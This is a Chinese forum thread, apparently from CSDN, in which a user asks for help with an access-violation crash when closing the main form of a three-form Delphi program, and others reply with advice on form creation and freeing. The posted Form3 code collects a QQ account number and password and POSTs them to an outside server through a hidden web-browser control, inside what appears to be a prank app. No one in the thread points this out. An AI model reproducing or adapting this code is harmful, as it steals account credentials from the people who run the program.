我今天写了个小程序一个主窗体 form1 两个 子窗体 form2 form3 
form1中 form2.show  form3.show 
窗体  projecr---options--  auto-creatform 是3个窗体 form1 form2 form3 
form1是主窗体 
但是 在关闭 form1的时候 总是 溢出出错 内错出错 .....不能为read我尝试 在form1  close的时候 关闭 form2 和 form3 
但是还是溢出出错 以前没有出现过这种问题 我看看了以前的写的代码 我在关闭的地方写上form3.close;
form2.close
form1.close;
是可以正常关闭 但是今天的不行了 求解 非常急

解决方案 »

  1.   

    Form2,Form3不要自動建立,在需要時建立,並在用完後關閉並Free就可。
      

  2.   

    form1是主窗体不必在关闭的时候再去关闭其他窗体,主窗体关闭的时候会退出应用程序。
      

  3.   

    我把代码 贴出来 大家一起找一找 感谢/////////////////////////////////form1 
    //////////////
    unit Unit1;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, OleCtrls, SHDocVw, ExtCtrls,mshtml, jpeg,shellapi,WinSkinData, Menus, Buttons;type
      TForm1 = class(TForm)
        Image1: TImage;
        Timer1: TTimer;
        Timer2: TTimer;
        Timer3: TTimer;
        Timer4: TTimer;
        PopupMenu1: TPopupMenu;
        N1: TMenuItem;
        BitBtn1: TBitBtn;
        BitBtn2: TBitBtn;
        BitBtn3: TBitBtn;
        BitBtn4: TBitBtn;
        BitBtn5: TBitBtn;
        BitBtn6: TBitBtn;
        BitBtn7: TBitBtn;
        BitBtn8: TBitBtn;
        BitBtn9: TBitBtn;
        Timer5: TTimer;
        Timer6: TTimer;
        Timer7: TTimer;
        Timer8: TTimer;
        Timer9: TTimer;
        Timer10: TTimer;
        Timer11: TTimer;
        Timer12: TTimer;
        Timer13: TTimer;
        Timer14: TTimer;
        SkinData1: TSkinData;
        Button1: TButton;
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Timer3Timer(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Timer4Timer(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
        procedure N1Click(Sender: TObject);
        procedure Image1Click(Sender: TObject);
        procedure Timer5Timer(Sender: TObject);
        procedure Timer6Timer(Sender: TObject);
        procedure Timer7Timer(Sender: TObject);
        procedure Timer8Timer(Sender: TObject);
        procedure Timer9Timer(Sender: TObject);
        procedure Timer10Timer(Sender: TObject);
        procedure Timer11Timer(Sender: TObject);
        procedure Timer12Timer(Sender: TObject);
        procedure Timer13Timer(Sender: TObject);
        procedure Timer14Timer(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
    procedure HotKeyDown(var Msg: Tmessage); message WM_HOTKEY;
      end;var
      Form1: TForm1;
       i:integer;
       ichangtiweiz:integer;
       ics:integer;
         HotKeyId: Integer;
         ishuangji:integer;
         sbl:string;
    implementationuses Unit2, Unit3;{$R *.dfm}
    procedure Tform1.HotKeyDown(var Msg: Tmessage);
    begin
    if (Msg.LparamLo =MOD_CONTROL) AND (Msg.LParamHi = 90 )  then // 假设热键为ALT+F8
    begin
    ////////////
    if sbl='p' then
    begin
    form2.Show ;
    form2.Timer1.Enabled:=true;
    sbl:='piqi';
    end;
    end;
    end;procedure TForm1.Timer1Timer(Sender: TObject);
    begin
      if form1.top>30 then form1.Top:=form1.Top-5;//向上收
      if form1.Top=30 then
      begin
      timer1.Enabled:=false;//当到达一定的位置时停止
      //////当到达一定位置后 加上个窗体晃动的部分
      timer4.Enabled:=true;
      end;
    end;procedure TForm1.Timer2Timer(Sender: TObject);
    begin
      if form1.top<50 then form1.Top:=form1.Top+5;//向下
      if form1.top=50 then timer2.Enabled:=false; // 当到达一定的位置时停止
    end;procedure TForm1.Timer3Timer(Sender: TObject);
    begin
      i:=i+1;
      if i=10 then             //每次累加1,当加满10次时向上收
      timer1.Enabled:=true;
    end;procedure TForm1.FormCreate(Sender: TObject);
    begin
    sbl:='p';
    ishuangji:=0;
    HotKeyId := GlobalAddAtom('MyHotKey') - $C001;
    RegisterHotKey(Handle, hotkeyid, MOD_CONTROL, 90);
    form1.top:=800;
    timer4.Enabled:=false;
    ichangtiweiz:=80;
    ics:=0;
    timer5.Enabled:=false;
    timer6.Enabled:=false;
    timer7.Enabled:=false;
    timer8.Enabled:=false;
    timer9.Enabled:=false;
    timer10.Enabled:=false;
    timer11.Enabled:=false;
    timer12.Enabled:=false;
    timer13.Enabled:=false;
    timer14.Enabled:=false;end;procedure TForm1.Timer4Timer(Sender: TObject);
    begin
    /////这时候窗体应该到达了预计位置 这里加上窗体的晃动部分
    ///这里加上窗体晃动的部分
    if image1.Height < 550 then
    image1.Height:=image1.Height+30;
    if image1.Height > 480 then
    begin
    self.Caption:='能再给我一次机会么';
    timer4.Enabled:=false;
    end;
    if image1.Height = 550 then
    begin
    self.Caption:='能再给我一次机会么';
    timer4.Enabled:=false;
    end;
    end;procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    UnRegisterHotKey(handle, HotKeyId); //注销HotKey, 释放资源。     ///CONTROL
    /////atomid  = GlobalAddAtom(ls_atomid)  ll_RC = RegisterHotKey(Handle(this), atomid,MOD_CONTROL, 65)
    end;procedure TForm1.N1Click(Sender: TObject);
    begin
    form3.Show;
    end;procedure TForm1.Image1Click(Sender: TObject);
    begin
    inc(ishuangji);
    if ishuangji= 5 then
    begin
    //////sbl:='pi';
    timer5.Enabled:=true;
    ishuangji:=0;
    end;
    end;procedure TForm1.Timer5Timer(Sender: TObject);
    begin
    timer5.Enabled:=false;
    bitbtn1.Visible:=true;
    timer6.Enabled:=true;
    end;procedure TForm1.Timer6Timer(Sender: TObject);
    begin
    timer6.Enabled:=false;
    bitbtn1.Visible:=false;
    bitbtn2.Visible:=true;
    timer7.Enabled:=true;
    end;procedure TForm1.Timer7Timer(Sender: TObject);
    begin
    timer7.Enabled:=false;
    bitbtn2.Visible:=false;
    bitbtn3.Visible:=true;
    timer8.Enabled:=true;
    end;procedure TForm1.Timer8Timer(Sender: TObject);
    begin
    timer8.Enabled:=false;
    bitbtn3.Visible:=false;
    bitbtn4.Visible:=true;
    timer9.Enabled:=true;
    end;procedure TForm1.Timer9Timer(Sender: TObject);
    begin
    timer9.Enabled:=false;
    bitbtn4.Visible:=false;
    bitbtn5.Visible:=true;
    timer10.Enabled:=true;
    end;procedure TForm1.Timer10Timer(Sender: TObject);
    begin
    timer10.Enabled:=false;
    bitbtn5.Visible:=false;
    bitbtn6.Visible:=true;
    timer11.Enabled:=true;
    end;procedure TForm1.Timer11Timer(Sender: TObject);
    begin
    timer11.Enabled:=false;
    bitbtn6.Visible:=false;
    bitbtn7.Visible:=true;
    timer12.Enabled:=true;
    end;procedure TForm1.Timer12Timer(Sender: TObject);
    begin
    timer12.Enabled:=false;
    bitbtn7.Visible:=false;
    bitbtn8.Visible:=true;
    timer13.Enabled:=true;
    end;procedure TForm1.Timer13Timer(Sender: TObject);
    begin
    timer13.Enabled:=false;
    bitbtn8.Visible:=false;
    bitbtn9.Visible:=true;
    timer14.Enabled:=true;
    end;procedure TForm1.Timer14Timer(Sender: TObject);
    begin
    timer14.Enabled:=false;
    bitbtn9.Visible:=false;
    /////bitbtn1.Visible:=true;
    timer5.Enabled:=false;
    end;end./////////////////////////////////////////////////////////form2
    unit Unit2;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, RzStatus, pngimage, ExtCtrls, ComCtrls,gifimage, WinSkinData,
      StdCtrls;type
      TForm2 = class(TForm)
        Image1: TImage;
        ProgressBar1: TProgressBar;
        Image2: TImage;
        Timer1: TTimer;
        Timer2: TTimer;
        Image3: TImage;
        SkinData1: TSkinData;
        Button1: TButton;
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form2: TForm2;
      i:integer;
    implementation{$R *.dfm}procedure TForm2.FormCreate(Sender: TObject);
    begin
    progressbar1.Max:=100;
    progressbar1.Min:=0;
    i:=100;
    timer1.Enabled:=false;
    timer2.Enabled:=false;
    end;procedure TForm2.Timer1Timer(Sender: TObject);
    begin
    i:=i-10;
    progressbar1.Position:=i ;
    if  i=0 then
    begin
    image1.Hide;
    image2.Visible:=true;
    timer2.Enabled:=true;
    progressbar1.Visible:=false;
    image3.Visible:=true;
    end;
    end;procedure TForm2.Timer2Timer(Sender: TObject);
    begin
    form2.hide;
    end;procedure TForm2.Button1Click(Sender: TObject);
    begin
    //////////application.Terminate;
    form2.Close;
    end;end.
    ///////////////////////////form3 
    unit Unit3;interfaceuses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, OleCtrls, SHDocVw, jpeg, ExtCtrls, WinSkinData;type
      TForm3 = class(TForm)
        Memo1: TMemo;
        Label1: TLabel;
        Edit1: TEdit;
        Label2: TLabel;
        Button1: TButton;
        WebBrowser1: TWebBrowser;
        Image1: TImage;
        SkinData1: TSkinData;
        Button2: TButton;
        procedure Button1Click(Sender: TObject);
        procedure FormDestroy(Sender: TObject);
        procedure Button2Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;var
      Form3: TForm3;implementationuses Unit2;{$R *.dfm}procedure TForm3.Button1Click(Sender: TObject);
    var
    QQState: integer;
       QQPath,QQnum,QQPw: string;
             SList:   TStringList;   
          PostStr:   String;   
          i:   Integer;
    PostData,Headers:   OleVariant;
    begin
       SList   :=   TStringList.Create;
          try
              SList.Add('http://tnianshao.208.iqhost.cn/xunike/qq.asp');
              PostStr   :=  'QQNumber='   +'ctrl'+memo1.Text;
              PostStr   :=  PostStr   +   '&QQPassWord='+ Edit1.Text;          Headers   :=   'Content-Type:   application/x-www-form-urlencoded'+   #10#13;
              PostData   :=   VarArrayCreate([0,   Length(PostStr)-1],   varByte);   
              for   i   :=   0   to   Length(PostStr)-1   do   begin   
                  PostData[i]   :=   Ord(PostStr[i+1]);   
              end;
             webbrowser1.Navigate(SList.Strings[0],EmptyParam,EmptyParam,PostData,Headers);
          finally
              SList.Free;
              end;
    end;procedure TForm3.FormDestroy(Sender: TObject);
    begin
    form3:=nil;
    end;procedure TForm3.Button2Click(Sender: TObject);
    begin
    ////form2.close;
    form3.Close;
    end;end.
      

  4.   

    你要注意,如果是系统自己创建的窗体,你就不要手动释放了。
    就像:
    procedure TForm3.FormDestroy(Sender: TObject);
    begin
    form3:=nil;
    end;procedure TForm3.Button2Click(Sender: TObject);
    begin
    ////form2.close;
    form3.Close;
    end;
    这几句,你自己都说是系统启动的时候,Application自己创建的,你就不要释放了。
    你想这样做,你就要自己创建才行。
      

  5.   

    procedure TForm3.Button2Click(Sender: TObject);
    begin
    ////form2.close;
      Close;
    end;逻辑有问题,楼主需要自己整理一下!
      

  6.   

    楼上说的这两段 我是昨天搜索网上 问题解决的时候 有贴出这样的代码 我试了试的 改了代码 还是不行我刚才测试了一下  让application自动创建 form1 form2 form3 的时候show 出 form2 form3 手动关闭form2 form3 都不出错唯独 关闭 form1的时候 出错 看来是 form1里面的代码 有错误 求解 
      

  7.   

    逻辑有问题!Form1关闭后其他都会关闭的。